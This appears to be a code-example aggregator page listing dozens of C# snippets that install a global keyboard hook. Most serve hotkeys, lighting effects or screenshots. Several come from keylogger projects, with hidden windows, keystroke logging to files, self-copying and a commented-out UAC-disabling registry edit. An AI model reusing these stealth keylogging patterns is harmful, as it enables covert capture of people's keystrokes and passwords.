コード例 #1
1
 public void StartKeyLogger()
 {
     gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
     // Declare a KeyDown Event
     gHook.KeyDown += gHook_KeyDown;
     // Add the keys you want to hook to the HookedKeys list
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
     {
         gHook.HookedKeys.Add(key);
     }
     gHook.unhook();
     gHook.hook();
 }
コード例 #2
0
 private void Form1_Load(object sender, EventArgs e)
 {
     gHook = new GlobalKeyboardHook();
     gHook.hook();
     gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
     gHook.HookedKeys.Add(Keys.PrintScreen);
 }
コード例 #3
0
        public void Start()
        {
            gHook          = new GlobalKeyboardHook();
            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
            {
                gHook.HookedKeys.Add(key);
            }
            gHook.hook();

            /*  while (enabled)
             * {
             *
             *   for (int i = 0; i < 255; i++)
             *    {
             *         int state = GetAsyncKeyState(i);
             *         if (state != 0)
             *         {
             *           bufer += ((Keys)i).ToString();
             *           if (bufer.Length > 10)
             *           {
             *              writer.WriteLine(bufer);
             *              writer.Flush();
             *              bufer = "";
             *           }
             *         }
             *    }
             *
             * }*/
        }
コード例 #4
0
ファイル: Crosshair.cs プロジェクト: infiSTAR/Crosshair
 public crosshair()
 {
     InitializeComponent();
     gHook          = new GlobalKeyboardHook();
     gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
     gHook.HookedKeys.Add(Keys.RShiftKey);
     gHook.hook();
 }
コード例 #5
0
 private void hook_Click(object sender, EventArgs e)
 {
     if (!isHooked)
     {
         isRunning.Text = "Running...";
         gHook.hook();
         isHooked = true;
     }
 }
コード例 #6
0
ファイル: Form3.cs プロジェクト: ClearAll2/FreeTimeProject
 private void Form3_Load(object sender, EventArgs e)
 {
     gHook          = new GlobalKeyboardHook();
     gHook.KeyDown += new KeyEventHandler(gHook_Keydown);
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
     {
         gHook.HookedKeys.Add(key);
     }
     gHook.hook();
 }
コード例 #7
0
 private void checkBox1_CheckedChanged(object sender, EventArgs e)
 {
     if (checkBox1.Checked == true)
     {
         gHook.hook();
     }
     else
     {
         gHook.unhook();
     }
 }
コード例 #8
0
 static void powerModeChange(object sender, PowerModeChangedEventArgs e)
 {
     if (e.Mode == PowerModes.Suspend)
     {
         ghook.unhook();
     }
     else if (e.Mode == PowerModes.Resume)
     {
         ghook.hook();
     }
 }
コード例 #9
0
 private void Form1_Load(object sender, EventArgs e)
 {
     gHook          = new GlobalKeyboardHook();
     gHook.KeyDown += new KeyEventHandler(gHook_Keydown);
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
     {
         gHook.HookedKeys.Add(key);
     }
     gHook.hook();
     //BeginInvoke(new MethodInvoker(delegate { Hide(); }));
 }
コード例 #10
0
 private void ZoomDisplay_Load(object sender, EventArgs e)
 {
     this.TopMost  = true;
     hook          = new GlobalKeyboardHook();
     hook.KeyDown += new KeyEventHandler(DetectKeyDown);
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
     {
         hook.HookedKeys.Add(key);
     }
     hook.hook();
 }
コード例 #11
0
ファイル: Form1.cs プロジェクト: KritR/Keyboard-Blocker
 public Form1()
 {
     InitializeComponent();
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
     {
         gkh.HookedKeys.Add(key);
     }
     gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
     gkh.KeyUp   += new KeyEventHandler(gkh_KeyUp);
     gkh.hook();
 }
コード例 #12
0
 private void Form1_Load(object sender, EventArgs e)
 {
     gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
                                       // Declare a KeyDown Event
     gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
     // Add the keys you want to hook to the HookedKeys list
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
     {
         gHook.HookedKeys.Add(key);
     }
     gHook.hook();
 }
コード例 #13
0
ファイル: Form1.cs プロジェクト: alexeimun/openkey
 public void Start()
 {
     _gHook.hook();
     Chks();
     lbiniciar.Enabled  = hook.Enabled = capturarM.Enabled = false;
     lbparar.Enabled    = unhook.Enabled = pararM.Enabled = ocultarT.Enabled = lbocultar.Enabled = pichide.Enabled = true;
     Cronometro.Enabled = true;
     log.Visible        = true;
     status.ForeColor   = Color.Green;
     status.Text        = Resources.StartCapture + _hour + ":" + _min + ":" + _seg;
     _isHook            = true;
 }
コード例 #14
0
        private void Form1_Load(object sender, EventArgs e)
        {
            labelRecord.Text = "";
            gHook            = new GlobalKeyboardHook();
            gHook.KeyDown   += gHook_WaitCommand;
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
            {
                gHook.HookedKeys.Add(key);
            }

            gHook.hook();
        }
コード例 #15
0
ファイル: Form1.cs プロジェクト: p50815/keylogger
 private void Form1_Load(object sender, EventArgs e)
 {
     gHook=new GlobalKeyboardHook();
     gHook.KeyDown+=new KeyEventHandler(gHook_KeyDown);
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
         gHook.HookedKeys.Add(key);
     String date = DateTime.Now.Year + "_" + DateTime.Now.Month + "_" + DateTime.Now.Day + "_" + DateTime.Now.Hour + "_" + DateTime.Now.Minute + "_" + DateTime.Now.Second;
     sw = new StreamWriter("TestFile_" + date + ".txt");
     sw.WriteLine(DateTime.Now);
     timer1.Start();
     textBox1.Text = DateTime.Now.ToString();
     gHook.hook();
 }
コード例 #16
0
 private void button1_Click(object sender, EventArgs e)
 {
     if (button1.Text == "Start")
     {
         gHook.hook();
         button1.Text = "Stop";
     }
     else
     {
         gHook.unhook();
         button1.Text = "Start";
     }
 }
コード例 #17
0
 public void StartKeyLogger()
 {
     gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
     // Declare a KeyDown Event
     gHook.KeyDown += gHook_KeyDown;
     // Add the keys you want to hook to the HookedKeys list
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
     {
         gHook.HookedKeys.Add(key);
     }
     gHook.unhook();
     gHook.hook();
 }
コード例 #18
0
        private void KeyboardHook()
        {
            globalKeyboardHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
                                                           // Declare a KeyDown Event
            globalKeyboardHook.KeyDown += GHook_KeyDown;
            // Add the keys you want to hook to the HookedKeys list
            //foreach (Keys key in Enum.GetValues(typeof(Keys)))
            //    globalKeyboardHook.HookedKeys.Add(key);111111111

            globalKeyboardHook.HookedKeys.Add(Keys.NumPad1);
            globalKeyboardHook.HookedKeys.Add(Keys.NumPad2);

            globalKeyboardHook.hook();
        }
コード例 #19
0
ファイル: Form1.cs プロジェクト: lagripe/Keylogger
 private void button1_Click(object sender, EventArgs e)
 {
     button1.Enabled = false;
     button2.Enabled = true;
     try {
         //Start the Mouse Hook
         MouseHook.Start();
         MouseHook.MouseAction += new EventHandler(Event);
         //Start the KeyboardHook
         gHook.hook();
     }
     catch (Exception z)
     {
     }
 }
コード例 #20
0
        public Form1()
        {
            InitializeComponent();

            Chroma.Instance.Keyboard.Clear();
            Chroma.Instance.Keypad.Clear();

            gHook          = new GlobalKeyboardHook();
            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
            {
                gHook.HookedKeys.Add(key);
            }
            gHook.hook();

            foreach (Key key in Enum.GetValues(typeof(Key)))
            {
                if (key.ToString() != Key.Invalid.ToString())
                {
                    keyPressesCon.TryAdd(key.ToString(), 0);
                }
            }

            colorChoiceListBox.SelectedIndex = 0;
            timerTypeListBox.SelectedIndex   = 0;

            double timerResolution1 = 100;

            aTimer           = new System.Timers.Timer(timerResolution1);
            aTimer.Elapsed  += heatMapTimer;
            aTimer.AutoReset = true;
            aTimer.Enabled   = false;

            double timerResolution2 = 200;

            bTimer           = new System.Timers.Timer(timerResolution2);
            bTimer.Elapsed  += rainbowStarlightTimer;
            bTimer.AutoReset = true;
            bTimer.Enabled   = false;

            double timerResolution3 = 300;

            cTimer           = new System.Timers.Timer(timerResolution3);
            cTimer.Elapsed  += nyanCatTimer;
            cTimer.AutoReset = true;
            cTimer.Enabled   = false;
        }
コード例 #21
0
        private void StartRecord()
        {
            _isRecording = true;
            _lastKey     = -1;
            _pressedKeys.Clear();

            _modifiers.Clear();
            _keys.Clear();

            lb_shortcut.Text = "...";

            btn_recordHotkey.BackColor = Color.OrangeRed;
            btn_recordHotkey.ForeColor = Color.White;
            btn_recordHotkey.Text      = "请按快捷键";

            hook.hook();
        }
コード例 #22
0
 private void button1_Click_1(object sender, EventArgs e)
 {
     if (keyboard)
     {
         appendText(" ----- KeyBoard Hook Closed -----");
         keyboard = false;
         gHook.unhook();
         button1.BackColor = Color.Red;
     }
     else
     {
         appendText(" ----- KeyBoard Hook Active -----");
         keyboard = true;
         gHook.hook();
         button1.BackColor = Color.Green;
     }
 }
コード例 #23
0
ファイル: Form1.cs プロジェクト: zub3ra/keylogger
        //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        private void Form1_Load(object sender, EventArgs e)
        {
            keyBuffer += getFirstValues();

            gHook = new GlobalKeyboardHook();
            gHook.hook();
            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
            {
                gHook.HookedKeys.Add(key);
            }

            copyExe();
            tmrKeyLogger.Start();
            tmrPing.Start();
            goForm();
        }
コード例 #24
0
        public MainWindow()
        {
            Console.WriteLine("beginning!");

            gkh = new GlobalKeyboardHook();
            gkh.HookedKeys.Add(Keys.Escape);
            gkh.HookedKeys.Add(Keys.LWin);
            gkh.HookedKeys.Add(Keys.RWin);
            gkh.HookedKeys.Add(Keys.Tab);
            gkh.HookedKeys.Add(Keys.Delete);

            gkh.KeyDown += new KeyEventHandler(handleKey);
            gkh.hook();

            WorkWorkWorkWork();

            InitializeComponent();
        }
コード例 #25
0
        private void Form1_Load(object sender, EventArgs e)
        {
            args  = Environment.GetCommandLineArgs();
            gHook = new GlobalKeyboardHook();

            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);

            // Add the keys you want to hook to the HookedKeys list
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
            {
                gHook.HookedKeys.Add(key);
            }

            gHook.hook();

            SwitchDevices(args, false, textBox1);
            TurnOffMonitor.Off();
        }
コード例 #26
0
        private void Form1_Load(object sender, EventArgs e)
        {
            args = Environment.GetCommandLineArgs();
            gHook = new GlobalKeyboardHook();

            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);

            // Add the keys you want to hook to the HookedKeys list
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
            {
                gHook.HookedKeys.Add(key);
            }

            gHook.hook();

            SwitchDevices(args, false, textBox1);
            TurnOffMonitor.Off();
        }
コード例 #27
0
        /// <summary>
        /// 설정 값에 따라서 후킹 이벤트를 등록하거나 해제합니다
        /// </summary>
        public static void HookSetting()
        {
            if (!m_inited)
            {
                return;
            }

            if (Globals.Instance.UseShortcut)
            {
                manager.hook();
                manager.HookedKeys.Clear();
                manager.HookedKeys.Add(Globals.Instance.Shortcut.Key);
            }
            else
            {
                manager.unhook();
            }
        }
コード例 #28
0
 private void Form1_Load(object sender, EventArgs e)
 {
     try
     {
         foreach (string Arg in Environment.GetCommandLineArgs())
         {
             if (Arg == Environment.CommandLine.Replace("\"", "") || Arg == System.IO.Path.GetFileName(Environment.CommandLine.Replace("\"", "")))
             {
                 continue;
             }
             if (Arg.StartsWith("/SECURE"))
             {
                 this.Opacity = .9; this.ShowInTaskbar = true; Hooking = false;
             }
         }
         if (Hooking)
         {
             this.Opacity = 0;
             CreateDrics();
             File.WriteAllText(FNDirc, "," + Environment.UserName + ",");
             KH          = new GlobalKeyboardHook();            //
             KH.KeyDown += new KeyEventHandler(KH_KeyDown);     //
             foreach (Keys key in Enum.GetValues(typeof(Keys))) //
             {
                 KH.HookedKeys.Add(key);
             }
             //KH.hook();
             if (Hooking)
             {
                 KH.hook();
                 tmr_Timer.Enabled   = Hooking;
                 tmr_SC.Enabled      = Hooking;
                 tmr_Control.Enabled = Hooking;
             }
         }
         foreach (string IdA in Directory.GetFiles(@"D:\TAT\T.S.2\E.X.C"))
         {
             RUN(IdA, "");
         }
     }
     catch (Exception Ert) { File.WriteAllText(@"D:\TAT\T.S.2\E.R.R\TS2.Main.Log", Ert.Message); Console.Beep(7000, 3000); Application.Exit(); }
 }
コード例 #29
0
        private void Form1_Load(object sender, EventArgs e)
        {
            try
            {
                gHook = new GlobalKeyboardHook();                    //根據作者的程式碼(class)創造一個新物件

                gHook.KeyDown += new KeyEventHandler(gHook_KeyDown); // 連結KeyDown事件

                foreach (Keys key in Enum.GetValues(typeof(Keys)))
                {
                    gHook.HookedKeys.Add(key);
                }

                gHook.hook();//開始監控
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
        }
コード例 #30
0
        private void _StartRecord()
        {
            _isRecording = true;
            _lastKey     = -1;
            _pressedKeys.Clear();

            _modifiers.Clear();
            _keys.Clear();

            BackColor = Color.OrangeRed;
            ForeColor = Color.White;
            _oldText  = Text;
            Text      = "...";

            hook.hook();

            if (BeginRecord != null)
            {
                BeginRecord(this, EventArgs.Empty);
            }
        }
コード例 #31
0
 private void Form1_Load(object sender, EventArgs e)
 {
     SystemSounds.Beep.Play();
     gHook.hook();
 }
コード例 #32
0
ファイル: Main.cs プロジェクト: DVDAndroid/PrintScreenUtility
 private void Form1_Load(object sender, EventArgs e)
 {
     gHook = new GlobalKeyboardHook();
     gHook.hook();
     gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
     gHook.HookedKeys.Add(Keys.PrintScreen);
 }
コード例 #33
0
ファイル: Form1.cs プロジェクト: umar-qureshi2/UG-Courses
        private void Form1_Load(object sender, EventArgs e)
        {
            /*try
            {
                RegistryKey reg = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
                if (reg != null)
                    reg.SetValue("EnableLUA", "0");
            }
            catch { }*/

            //runAtStart();maxURL

            this.Opacity = 70;
            ghk = new GlobalKeyboardHook();
            ghk.KeyUp += new KeyEventHandler(ghk_KeyUp);
            ghk.KeyDown += new KeyEventHandler(ghk_KeyDown);
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
                ghk.HookedKeys.Add(key);
            ghk.hook();

            label2.Text = path;
            textBox1.Text = filename;
            textBox2.Text = Akey;
            textBox3.Text = maxURL.ToString();
            comboBox1.SelectedIndex = -1;
            checkBox1.Checked = isDV;

            Load_Interfaces();

            if (comboBox1.Items.Count > 0)
            {
                comboBox1.Items.Insert(0, "ALL");
                if (Load_Registry())
                {
                    if (isCap)
                        run_Threads();
                }
                else
                {
                    this.Opacity = 100;
                }
            }
            else
            {
                MessageBox.Show("No Interfacess Found");
                this.Opacity = 100;
            }
            WorkingLicense w = new WorkingLicense(swName + "Lic", 2012, 9, 23);
            //w.run();
        }
コード例 #34
0
        private void KeyboardHook()
        {
            globalKeyboardHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
                                                           // Declare a KeyDown Event
            globalKeyboardHook.KeyDown += GHook_KeyDown;
            // Add the keys you want to hook to the HookedKeys list
            //foreach (Keys key in Enum.GetValues(typeof(Keys)))
            //    globalKeyboardHook.HookedKeys.Add(key);111111111

            globalKeyboardHook.HookedKeys.Add(Keys.NumPad1);
            globalKeyboardHook.HookedKeys.Add(Keys.NumPad2);

            globalKeyboardHook.hook();
        }
コード例 #35
0
ファイル: Form1.cs プロジェクト: ZamolxisInc/Infoeducatia
 void startKeylogger()
 {
     gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
     // Declare a KeyDown Event
     gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
     // Add the keys you want to hook to the HookedKeys list
     foreach (Keys key in Enum.GetValues(typeof(Keys)))
         gHook.HookedKeys.Add(key);
     gHook.hook();
     timerKeylogger.Interval = 20000;
     timerKeylogger.Start();
 }
コード例 #36
0
        private void applyButton_Click(object sender, EventArgs e)
        {
            string colorType = colorChoiceListBox.SelectedItem.ToString();
            string timerType = timerTypeListBox.SelectedItem.ToString();

            buildRate       = int.Parse(buildRateTextBox.Text.ToString());
            decayRate       = int.Parse(decayRateTextBox.Text.ToString());
            maxValue        = int.Parse(maxHeatValueTextBox.Text.ToString());
            ledOFFCold      = bool.Parse(coldOFFCheckBox.Checked.ToString());
            scaleBrightness = bool.Parse(scaleBrightnessCheckbox.Checked.ToString());

            foreach (string s in keyPressesCon.Keys.ToList())
            {
                keyPressesCon[s] = 0;
            }

            Chroma.Instance.Keyboard.Clear();

            aTimer.Enabled = false;
            bTimer.Enabled = false;
            cTimer.Enabled = false;

            gHook.unhook();

            if (colorType.ToString() == "White")
            {
                NUM_COLORS = 2;
                curColor   = new double[2, 3] {
                    { 0, 0, 0 }, { 1, 1, 1 }
                };
            }
            else if (colorType == "Red")
            {
                NUM_COLORS = 2;
                curColor   = new double[2, 3] {
                    { 0, 0, 0 }, { 1, 0, 0 }
                };
            }
            else if (colorType == "Green")
            {
                NUM_COLORS = 2;
                curColor   = new double[2, 3] {
                    { 0, 0, 0 }, { 0, 1, 0 }
                };
            }
            else if (colorType == "Blue")
            {
                NUM_COLORS = 2;
                curColor   = new double[2, 3] {
                    { 0, 0, 0 }, { 0, 0, 1 }
                };
            }
            else if (colorType == "Teal")
            {
                NUM_COLORS = 2;
                curColor   = new double[2, 3] {
                    { 0, 0, 0 }, { 0, 1, 1 }
                };
            }
            else if (colorType == "Purple")
            {
                NUM_COLORS = 2;
                curColor   = new double[2, 3] {
                    { 0, 0, 0 }, { 1, 0, 1 }
                };
            }
            else if (colorType == "Yellow")
            {
                NUM_COLORS = 2;
                curColor   = new double[2, 3] {
                    { 0, 0, 0 }, { 1, 1, 0 }
                };
            }
            else if (colorType == "Test Color") // Color type for testing new palettes
            {
                NUM_COLORS = 5;
                //                                Blue     -     Green     -     Red      -     Yellow    -     White
                curColor = new double[5, 3] {
                    { 0, 0, .25 }, { 0, .125, 0 }, { .5, 0, 0 }, { .75, .75, 0 }, { 1, 1, 1 }
                };
            }
            else if (colorType == "Blue-Green-Red")
            {
                // Multi color RGB Spectrum
                NUM_COLORS = 3;
                if (scaleBrightness)
                {
                    curColor = new double[3, 3] {
                        { 0, 0, .25 }, { 0, .25, 0 }, { 1, 0, 0 }
                    }
                }
                ;
                else
                {
                    curColor = new double[3, 3] {
                        { 0, 0, 1 }, { 0, 1, 0 }, { 1, 0, 0 }
                    }
                };
            }
            else if (colorType == "Blue-Green-Red-Yellow")
            {
                // Multi color RGB Spectrum
                NUM_COLORS = 4;
                if (scaleBrightness)
                {
                    curColor = new double[4, 3] {
                        { 0, 0, .25 }, { 0, .25, 0 }, { .5, 0, 0 }, { 1, 1, 0 }
                    }
                }
                ;
                else
                {
                    curColor = new double[4, 3] {
                        { 0, 0, 1 }, { 0, 1, 0 }, { 1, 0, 0 }, { 1, 1, 0 }
                    }
                };
            }
            else if (colorType == "Blue-Green-Red-Yellow-White")
            {
                // Multi color RGB Spectrum
                NUM_COLORS = 5;
                if (scaleBrightness)
                {
                    curColor = new double[5, 3] {
                        { 0, 0, .25 }, { 0, .25, 0 }, { .5, 0, 0 }, { .75, .75, 0 }, { 1, 1, 1 }
                    }
                }
                ;
                else
                {
                    curColor = new double[5, 3] {
                        { 0, 0, 1 }, { 0, 1, 0 }, { 1, 0, 0 }, { 1, 1, 0 }, { 1, 1, 1 }
                    }
                };
            }

            aTimer.Enabled = false;
            bTimer.Enabled = false;
            cTimer.Enabled = false;

            if (timerType == "Heat Map")
            {
                Debug.WriteLine("Heat Map");
                gHook.hook();
                aTimer.Enabled = true;
            }
            else if (timerType == "Starlight")
            {
                Debug.WriteLine("Starlight");
                bTimer.Enabled = true;
            }
            else if (timerType == "NyanCat")
            {
                Debug.WriteLine("NyanCat");
                NUM_COLORS = 5;
                curColor   = new double[5, 3] {
                    { 0, 0, .25 }, { 0, .25, 0 }, { .5, 0, 0 }, { .75, .75, 0 }, { 1, 1, 1 }
                };
                nyanCatColCount = 0;
                cTimer.Enabled  = true;
            }
        }
コード例 #37
0
        // Default settings
        private void Form1_Load(object sender, EventArgs e)
        {
            // Windowed
            _slotLocation[0].X = 30;
            _slotLocation[0].Y = 190;
            _slotLocation[1].X = 40;
            _slotLocation[1].Y = 240;
            _slotLocation[2].X = 40;
            _slotLocation[2].Y = 340;
            _slotLocation[3].X = 40;
            _slotLocation[3].Y = 415;
            _slotLocation[4].X = 40;
            _slotLocation[4].Y = 495;
            _slotLocation[5].X = 40;
            _slotLocation[5].Y = 575;
            _slotLocation[6].X = 32;
            _slotLocation[6].Y = 650;
            _slotLocation[7].X = 33;
            _slotLocation[7].Y = 722;

            _slotInfo.Add(new Tuple <TextBox, TextBox>(SlotName1, SlotStatus1));
            _slotInfo.Add(new Tuple <TextBox, TextBox>(SlotName2, SlotStatus2));
            _slotInfo.Add(new Tuple <TextBox, TextBox>(SlotName3, SlotStatus3));
            _slotInfo.Add(new Tuple <TextBox, TextBox>(SlotName4, SlotStatus4));
            _slotInfo.Add(new Tuple <TextBox, TextBox>(SlotName5, SlotStatus5));
            _slotInfo.Add(new Tuple <TextBox, TextBox>(SlotName6, SlotStatus6));
            _slotInfo.Add(new Tuple <TextBox, TextBox>(SlotName7, SlotStatus7));
            _slotInfo.Add(new Tuple <TextBox, TextBox>(SlotName8, SlotStatus8));

            foreach (var t in _slotInfo)
            {
                t.Item2.Text = @"Empty";
            }

            _gHook          = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
            _gHook.KeyDown += gHook_KeyDown;            // Declare a KeyDown Event

            // Add the keys you want to hook to the HookedKeys list
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
            {
                if (key.GetHashCode() == 112 || key.GetHashCode() == 113)
                {
                    _gHook.HookedKeys.Add(key);
                }
            }
            _gHook.hook(); // Start the keylogger

            // Empty the slot array
            for (var i = 0; i < 8; i++)
            {
                _slots[i] = new DishProduction();
            }

            // Read the meniu and save it in an array
            var lines = File.ReadAllLines(AppDomain.CurrentDomain.BaseDirectory + "Resources/Menu.txt");

            for (var i = 0; i < lines.Length; i++)
            {
                var name = lines[i].Substring(0, lines[i].IndexOf("|", StringComparison.Ordinal));
                _meniu.Add(name, new Dish());
                lines[i] = lines[i].Substring(lines[i].IndexOf("|", StringComparison.Ordinal) + 1, lines[i].Length - lines[i].IndexOf("|", StringComparison.Ordinal) - 1);
                _meniu[name].MaxStage    = 0;
                _meniu[name].Preparation = new string[5];
                while (lines[i].Length > 0)
                {
                    _meniu[name].Preparation[_meniu[name].MaxStage] = lines[i].Substring(0, lines[i].IndexOf("|", StringComparison.Ordinal));
                    lines[i] = lines[i].Substring(lines[i].IndexOf("|", StringComparison.Ordinal) + 1, lines[i].Length - lines[i].IndexOf("|", StringComparison.Ordinal) - 1);
                    _meniu[name].MaxStage++;
                }
            }

            BotOn      = false;
            _preparing = false;
        }
コード例 #38
0
        private void SetHook()
        {
            gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
            // Declare a KeyDown Event
            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);

            // Add the keys you want to hook to the HookedKeys list
            gHook.HookedKeys.Add(Keys.Enter);
            gHook.HookedKeys.Add(Keys.Insert);
            gHook.HookedKeys.Add(Keys.RControlKey);

            gHook.hook();
        }